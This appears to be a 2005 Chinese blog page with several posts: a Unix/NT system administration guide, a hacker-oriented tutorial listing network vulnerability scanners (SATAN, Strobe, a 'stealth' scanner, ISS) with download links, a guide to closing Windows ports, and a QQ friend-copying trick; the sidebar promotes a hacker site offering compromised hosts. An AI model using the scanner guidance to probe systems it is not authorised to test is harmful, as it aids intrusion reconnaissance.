无论是unix还是nt，对于用户的管理都是居于第一位的，作为一个新手，首先必须立刻掌握对用户的增加和删除以及限制等*作。这包括两个方面：一个是学会使用友好的图形界面的管理工具集，在sun solaris系统中是openwin环境下的/usr/bin/admintools工具集；在sco unix中使用sysadmsh管理shell来管理用户；在novell系统中，则只需使用syscon菜单即可完成用户及用户组的添加、删除以及限制设置等等，多用户的同批管理，则使用makeusr和userdef实用程序来做；在nt中，则使用程序组中管理工具（公用）组下的域用户管理工具或用户管理工具。使用这些工具，就可以十分简单明了地进行用户的创建、删除以及锁定和权限限制等*作。在nt下用户组的管理和控制面板中的系统属性程序管理用户环境设置简要文件，使用system policy editor配置一个域范围的基于计算机或用户的配置以及编写登录脚本。二是学会字符命令行下的用户管理，主要在unix或linux环境下，包括用编辑工具vi、emacs等对/etc/passwd进行*作或直接使用addusr、deleusr等用户管理命令以及使用pwconv命令使/etc/passwd与shadow文件保持一致，使用sco的/etc/rmuser命令删除用户，用newgrp命令将用户添加到新组，另外包括用户目录的建立命令mkdir，赋于用户属性和组属性命令chown和chgrp,以及用户区域限制命令quota限制用户区域大小，用来避免用户区域占用硬盘空间过大，而使系统崩溃。其中，特别提醒一点，如果想对用户权限进行严格限制时，用户的注册shell可使用/usr/lib/rsh。用户的.profile和.login文件可使用系统标准的配置文件，或者也可在.profile中进行相应设置，用su命令或suusername进入用户环境以进行具体检测。另外，对用户的消息发布系统，在nt中是使用alert功能发出，对远程主机则使用server manager中的computer|send message功能。在novell中采用send命令。在unix中是使用wall或write指令，也可使用每*消息文件/etc/motd或news命令发出/usr/new文件内容。

安全及*志管理
作为一个系统管理员，必须要能对系统事故找到故障原因，这就涉及到必须对系统的各项*志进行察看分析。在nt中是使用administrative tools菜单中event viewer查看系统的system、security、application*志文件。对netware而言，错误*志是sys＄log.err文件，通过syscon菜单中supervisor options下view file server errorlog观察记录，另外文卷错误*志文件是各文卷中的vol＄log.log以及事务跟踪处理系统错误*志文件sys:文卷中的tts＄log.err文件；unix中各项*志包括/usr/adm目录下的系统错误登记文件message、使用su命令的记录文件sulog、每个用户记录上次注册时间的登记文件lastlog、系统中注册用户的有关信息文件wtmp、每个用户所执行命令的内容项文件acct以及/etc目录下当前注册用户的有关信息文件utmp和其他应用程序产生的*志文件。对于其中的一些*志文件，可以采用who或w命令查看当前系统的登录使用者（xenix系统中还可以用whodo命令确定当前用户的行为）；last命令查看以前的登录情况，这些命令都可以合并使用grep进行条件控制选择过滤；用find查看文件及其属主，特别监控具有根访问权的进程及文件以及检查开机文件/etc/inetd.conf、/etc/rc.local、/etc/passwd和corn或at运行的文件，并用corntab －l 与corntab －r命令对用户的corntab文件进行列出与删除管理；使用ls －lr生成主检查表，并定期生成新表，使用diff命令进行比较，并使检查通过的新表成为新的主检查表，直到下一次检查为止。个人强烈建议在inetd.conf中注释掉所有的r打头的命令文件，以及去掉/etc/hosts.equiv中的所有项并不允许用户设立个人的.rhosts文件，使可信主机不予设立或为空以加强系统的安全。

系统进程管理
在unix中，系统报告命令包括df用来报告自由磁盘块数;du用来总结磁盘使用状况;nice用来改变某个命令所设优先权；pstat用来报告系统信息，如节点表或进程表；sar用来报告系统的活动状态如cpu的使用和缓冲区的活动状况；time用来打印过去的时间、系统时间以及命令的执行时间；uptime用来报告系统的活动状况，如系统启动时间及已运行时间；vmsfat用来报告页数及系统统计数字，如分支点的情况。bsd unix中的ps －aux或system v中的ps －ef以及linux中的ps aux用来查看进程状态及其宿主，并使用kill命令及时停止不正常的进程。在nt中则使用task manager查看cpu和内存的使用情况，进行进程管理，另外也使用performance monitor进行状态监控，以及时做出调节。值得注意的是，随着网络应用的扩大，病毒成为对网络安全的一大威协。为此，在网络上安装病毒检测和清除工具已经成为网络管理必须要做的。

备份管理
作为一个较重要的系统，及时备份是必需的，那么在一开始就必须养成及时定时备份的习惯。掌握备份的基本方法和步骤，以及使用基本的备份还原命令，如：nt中使用管理工具集中的ntbackup程序。因在backup中不存在调度能力，备份必须手工完成或用at命令行实现调度；以及采用第三方的备份解决方案。unix中系统v使用tar、cpio以及backup、restor、rolcopy，bsd中则使用tar、dump、restor等等，sco中使用sysadmin进行文件系统后备和恢复文件。备份还必须制定计划，指定何时进行何种备份，包括全集备份和递增备份，如可以每周做一次全集备份，每天进行一次递增备份，或者如系统不经常变化，则可每月一次全集备份，每周一次递增备份。

恢复与容错管理
当系统出现故障时，作为系统管理员必须能定位并解决问题，这依赖于对控制台出错信息以及*志文件的分析，更重要的是平*的备份以及应急系统盘的制备。对于nt而言，是建立系统引导盘、紧急修复盘等，并使用disk adminstrator建立镜像等raid*作。对于unix而言，也依赖于系统安装盘与紧急修复盘的建立。特别地，系统做任何改动后，都要重新生成新的系统恢复盘，并进行同步备份和使用单用户模式来排除系统的绝大部分问题，即启动时使用boot －single命令，这是一个关键。当然，管理员的口令是绝对不能忘记的，否则，那会造成很大麻烦，但对于管理人员而言，自己以及其它用户都加上口令的使用限制，如口令字长度和*期限制以及其它限制，是非常必要的。太过简单的口令往往会造成不安全的隐患。在容错上则还包括经常地运行各类维护系统命令，如超级块维护命令sync，文件系统检查命令fsck。

文件系统与开关机管理
在所有的多用户系统中，由于广泛采用文件缓冲，使对文件的修改在内存进行之后再写入磁盘，内核程序定时刷新这些缓冲区，以保持文件与缓冲区间同步。因而，不终止系统就关机，往往会造成同步的破坏，而出现文件系统的错误。在nt中，使用启动菜单中的关闭系统选项来关闭系统；unix则采用shutdown、halt(haltsys)、reboot等命令。一般推荐使用shutdown加参数来关机或进入单用户备份状态，直到完成关机程序后，才能关闭电源，无论如何，这是必须牢记的。 另外，在维护文件系统时，应经常运行超级块一致命令sync，文件系统检查及错误修改命令fsck，新建一个文件系统时使用mkfs命令，系统v的fsstat将报告文件系统的状态，以及设备管理命令mount、umount。 novell中采用filer菜单管理文件服务器的文件系统。

网络管理
网络管理，包括对email、dns以及www的调试。对于email而言，是使用sendmail －bt －cfilename进行，或先mail user，再telnet host 110，通过user username；pass passwd；list；retr ＊；quit等pop3命令进行调试。对于dns，则使用nslookup命令进行域名解析，看能否正确解析出ip地址。对于www，则是通过浏览器进行检查。另外是察看～/httpd/下的浏览*志，对于nt而言，则通过管理工具下的server manager察看各服务程序是否正常运行，其余检测步骤则与unix系统相同，只是不使用sendmail命令，而采用telnet host 25，用helo host，send from:< yourname@hostname >，rcptt< username@hostname >，data，messagebody，“.”，exit等smtp命令进行检测,pop3命令都相同。www的管理则直接通过http形式的在线管理方式进行，*作简易明了，应该不会有什么问题。另外，在网络*常管理中，则包括使用ping察看网络连接状态，netstat察看协议统计数据和当前网络的连接状态，ifconfig进行网络接口设置，tracert进行路由状态监察。对nt系统而言，除以上命令外，还包括使用/winnt/system32/regedit32来控制注册表，以及ipconfig察看ip设置，以及用与ntserver配套的network monitor进行网络负载和性能统计。novell系统中则使用netadmin实用程序或图形界面的管理工具netware adminstrator来管理和规划网络，以及用monitor菜单监控本地服务器的各项状态。相对于unix的第三方工具集，能够作为管理者运行的网络管理软件主要有hp的openview、bay的optivity、ibm 的netview和sun的sunnetmanager。

小结
总之，作为一个系统管理人员，掌握以上的*作是起码而且必须的，另外就是及时进行系统升级，使得系统的已知漏洞均被修复，以防黑客入侵。但有一点必须指出，作为一个新手，无论如何，不犯一些*作错误几乎是不可能的，唯一的办法就是在做任何改动*作之前，首先应做好要改动部分的备份，并详细地记录下自己的*作，做一步记一步，细致、小心、认真，这样才能尽量使系统的正常运行得到一个相对可*的保证。另外作为一个特别的提醒，当你外出时，不要忘记使用锁屏程序使屏幕锁定，以免外人乘机入侵系统。

lingsui521 发表于:2005.02.22 23:23 ::分类: ( 实用技术 ) ::阅读:(530次) :: 评论 (0)
===========================================================
手把手教你学用扫描器
===========================================================
在INTERNET安全领域，扫描器可以说是黑客的基本武器，

一个好的TCP端口扫描器相当与几百个合法用户的口令及
密码是等同的，这样说一点也不过分！

1，什么是扫描器

扫描器是一种自动检测远程或本地主机安全性弱点的程序，通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务！和它们的软件版本！这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

2，工作原理

扫描器通过选用远程TCP/IP不同的端口的服务，并记录目标给予的回答，通过这种方法，可以搜集到很多关于目标主机的各种有用的信息（比如：是否能用匿名登陆！是否有可写的FTP目录，是否能用TELNET，HTTPD是用ROOT还是nobady在跑！）

3，扫描器的运行平台！

尽管大多数的工作站是用UNIX的，由于UNIX的应用软件的可移殖性，如今的扫描器以有了支持各种平台，这一点大大方便了许多单机的用户！但同时也带来了更多的网络安全问题，这句老话我想大家一定是听到过很多次！------网络安全刻不容缓！！！

4，扫描器能干什么？

扫描器并不是一个直接的攻击网络漏洞的程序，它不同于第二课中的许多NUCK程序！它仅仅能帮助我们发现目标机的某些内在的弱点而这些现存的弱点可能是（请看清楚可能是，并非一定）破坏目标机安全关键，但是我想说明的是对于一个刚刚入们的黑客人来说这些数据对他来说无疑是一个毫无价值的数据集合！，而对一个掌握和精通各种网络应用程序的漏洞的黑客来说这就不仅仅是一个简单的数据集合！他的价值远超过几百个有用的帐号！-------知识需要积累！！！

5，种类

1。NNS(网络安全扫描器）

用PERL编写，工作在Sunos4.1.3

进行下面的常规的扫描Sendmail ,TFTP,匿名FTP，Hosts.equive，Xhost增强扫描Apple Talk,NovellLAN管理员网络取得指定域的列表或报告！

用PING命令确定指定主机是否是活性的，扫描目标机端口
报告指定地址的漏洞你可以到这个地址下载http://www.giga.or.at/pub/hacker/unix2.STROBE(超级优化TCP端口检测程序）它是一个TCP端口的扫描器，能快速的识别指定机器上正运行什么服务，http://sunsite.kth.se/Linux/system/Network/admin/ 用于扫描网络漏洞SATAN(安全管理员的网络分析工具）扫描远程主机的许多已知的漏洞
FTPD中可写的目录NFSNISPSHSENDMAILX服务

http://www.fish.com

Jakal（秘密扫描器）可以不留痕迹的扫描

http://www.giga.or.at.pub/hacker/unix

IdenTCPscan

http://www.giga.or.at/pub/hacker/unix

CONNECT 扫描TFTP服务器子网

http://giga.or.at/pub/hack/unix/

ESPScan 扫描FSP服务器
http://gigi.or.at/pub/hack/unix

XSCAN

http://www.giga.or.at/pub/hacker/unix

实例扫描
http://iss　 或用关键字搜寻！你能了解到更多的情况！


1，UNIX平台的SAFEsuite

safesuite的组成，INTERNET，WEB，防火墙扫描！safesuite的攻击，sendmail,FTP,NNTP,TELNET,RPC,NFS.ISS的开发小组在最新的版本里还增设了IP欺骗和拒绝服务的攻击，用以支持对主机安全性的分析。

可以运行的平台：Sun OS 4.1.3 up,SoLaris 2.0 up,HP/UX9.05 up,IBM AIIX 3.2.5 upLinux 1.2.x,Linux1.3.x,Linux 1.3.76+ 安装：

解压后拷贝到指定的目录，你可用下面的命令来解！

tar -xvf ISS_XXX.tar
运行ISS.install开始安装！
由于扫描的结果太长我就不一一写出来了！！大家可以多试试！很多有用的安全信息都在这些扫描结果里！！通过MIT的X窗口系统标准配置运行如SAVEsuite，X窗口的管理程序是FVWM。

Network Toolbox

http://www.eskimo.com/-nwps/index.html

用于WINDOWS 95上的TCP/IP的应用程序，默认扫描端口是！14个TCP/IP端口，port 9,13,21,25,,37,79,80,110,111,512,513,514, 你可以通过设置属性来改变默认的配置！！

我不知道我上述的下载地址是否还有效！但我想你可一到一些国外著名的黑客站找到你想要的一切！！

lingsui521 发表于:2005.02.22 03:51 ::分类: ( 实用技术 ) ::阅读:(708次) :: 评论 (0)
===========================================================
教你关闭系统无用的服务!
===========================================================
每一项服务都对应相应的端口，比如众如周知的WWW服务的端口是80，smtp是25，ftp是21，win2000安装中默认的都是这些服务开启的。对于个人用户来说确实没有必要，关掉端口也就是关闭无用的服务。 “控制面板”的“管理工具”中的“服务”中来配置。

  1、关闭7.9等等端口：关闭Simple TCP/IP Service,支持以下 TCP/IP 服务：Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。

  2、关闭80口：关掉WWW服务。在“服务”中显示名称为"World Wide Web Publishing Service"，通过 Internet 信息服务的管理单元提供 Web 连接和管理。

  3、关掉25端口：关闭Simple Mail Transport Protocol (SMTP)服务，它提供的功能是跨网传送电子邮件。

  4、关掉21端口：关闭FTP Publishing Service,它提供的服务是通过 Internet 信息服务的管理单元提供 FTP 连接和管理。

  5、关掉23端口：关闭Telnet服务，它允许远程用户登录到系统并且使用命令行运行控制台程序。

  6、还有一个很重要的就是关闭server服务，此服务提供 RPC 支持、文件、打印以及命名管道共享。关掉它就关掉了win2k的默认共享，比如ipc$、c$、admin$等等，此服务关闭不影响您的共他操作。

  7、还有一个就是139端口，139端口是NetBIOS　Session端口，用来文件和打印共享，注意的是运行samba的unix机器也开放了139端口，功能一样。以前流光2000用来判断对方主机类型不太准确，估计就是139端口开放既认为是NT机，现在好了。 关闭139口听方法是在“网络和拨号连接”中“本地连接”中选取“Internet协议(TCP/IP)”属性，进入“高级TCP/IP设置”“WINS设置”里面有一项“禁用TCP/IP的NETBIOS”，打勾就关闭了139端口。 对于个人用户来说，可以在各项服务属性设置中设为“禁用”，以免下次重启服务也重新启动，端口也开放了。

lingsui521 发表于:2005.02.22 03:44 ::分类: ( 实用技术 ) ::阅读:(3122次) :: 评论 (0)
===========================================================
普通QQ号克隆好友
===========================================================
首先只要我们先将自己原来的号和新号登陆一遍,然后在以旧号命名的文件夹里找到 user.db数据库文件,复制.再到新号的文件夹里粘贴覆盖原文件.然后再登陆新号,你会发现哇~~好友都在了,不过都是永远不上线的,呵呵.没关系,接下来就是我们最关键的一步了,打开好友管理器(别跟我说不知道在哪里哦)在好友列表里选中自己想要加的人,记住哦,要按着ctrl来选啊,选好了,把刚才选中的好友全拉到陌生人一栏里,有人要问我,怎么要删掉啊,先别急,慢慢来,在跳出的对话框里都选确定啊,这样保证才能删掉,然后到陌生人一栏里,像刚才一样选中你的好友, ^_^我拉,拉到好友列表里,哈哈这回要跳出好多要求好友确认的对话框,大功告成!!~~~慢慢点吧,虽然有点麻烦,可这是最简单的哦..

这个文章也是我从别的地方看见才提供出来的.希望对大家能有所帮助.

lingsui521 发表于:2005.02.22 03:41 ::分类: ( 实用技术 ) ::阅读:(389次) :: 评论 (0)
自我介绍
作者:
请大家到我的留言簿上留言!或给我发E-mile.
切换风格

布局:

配色:

提示
点击带有[...]标记的栏目可以展开/收拢相应的栏目
展开所有 收拢所有
新闻聚合
RSS 0.90
RSS 1.0
RSS 2.0
Atom 0.3

Subscribe with Bloglines
Subscribe in Rojo
Subscribe in NewsGator Online
Subscribe in My Yahoo!
Add to Google
博客日历
« 十月 2008 »
一 二 三 四 五 六 日
    1 2 3 4 5
6 7 8 9 10 11 12
13 14 15 16 17 18 19
20 21 22 23 24 25 26
27 28 29 30 31    
文章归档...
最新发表...
博客统计...
Blog信息
黑客技术，肉鸡公布，最新消息，黑客教程，漏洞信息┅┅一切尽在黑客[中国]联盟
网站链接...